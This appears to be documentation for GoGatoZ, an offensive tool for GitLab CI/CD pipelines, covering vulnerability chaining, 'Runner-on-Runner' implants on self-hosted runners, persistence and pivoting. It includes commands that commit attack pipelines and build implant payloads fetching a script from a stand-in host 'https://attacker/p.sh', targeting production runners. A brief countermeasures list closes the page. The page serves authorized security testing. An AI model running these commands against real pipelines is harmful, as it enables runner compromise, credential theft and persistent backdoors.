Complex Attack Scenarios
This page describes advanced attack techniques and scenarios that GoGatoZ can help execute or defend against.
Warning: These techniques should only be used with proper authorization and for ethical security research purposes.
Chaining Multiple Vulnerabilities
Section titled “Chaining Multiple Vulnerabilities”Many real-world attacks involve chaining multiple vulnerabilities together to achieve the ultimate objective.
Example: From MR Comment to Self-Hosted Runner
Section titled “Example: From MR Comment to Self-Hosted Runner”- Initial Access: Exploit a variable injection vulnerability in a pipeline triggered by merge requests
- Privilege Escalation: Use the injected code to access CI/CD variables or runner credentials
- Persistence: Deploy a Runner-on-Runner implant on a self-hosted runner
- Lateral Movement: Use the compromised runner to access other systems on the network
Custom Runner-on-Runner (RoR) Deployment
Section titled “Custom Runner-on-Runner (RoR) Deployment”GoGatoZ supports deploying RoR through various methods.
Using Custom CI via Push
Section titled “Using Custom CI via Push”If you have write access to a repository that uses self-hosted runners:
gogatoz attack --commit-ci --target group/project \ --ci-file custom_ror_pipeline.yml --tags shell \ --branch gogatoz-attack --deconflict suffixWhere custom_ror_pipeline.yml contains a pipeline that deploys the RoR implant.
Using Payload-Only Mode
Section titled “Using Payload-Only Mode”For situations where you need to generate the payload without committing:
gogatoz attack --payload runner-on-runner \ --script-url https://attacker/p.sh --os linux --keepalive 30 \ --tags shell --payload-only > ror_payload.ymlAdvanced Self-Hosted Runner Attacks
Section titled “Advanced Self-Hosted Runner Attacks”Targeting Specific Runner Tags
Section titled “Targeting Specific Runner Tags”If you know that certain runners have specific capabilities or access:
gogatoz attack --discover-tags --target group/project# Then target specific tagsgogatoz attack --commit-ci --target group/project \ --payload ror --tags production,database --script-url https://attacker/p.shPersistent Access
Section titled “Persistent Access”For runners that persist across jobs:
- Deploy the RoR implant with the
--keepaliveflag - Use the implant to establish persistence through other means:
- Create cron jobs
- Modify startup scripts
- Deploy additional backdoors
Network Pivoting
Section titled “Network Pivoting”Once you have access to a self-hosted runner, you can use it to pivot to other systems:
- Use the runner shell to perform network reconnaissance
- Deploy network tunneling tools
- Access internal services not exposed to the internet
Countermeasures
Section titled “Countermeasures”To defend against these advanced attacks:
- Implement strict branch protection rules
- Require approval for all pipelines from forks
- Use ephemeral runners in isolated environments
- Implement network segmentation for runners
- Monitor pipeline runs for suspicious activity
- Regularly audit CI/CD files and permissions
- Use the principle of least privilege for all tokens and permissions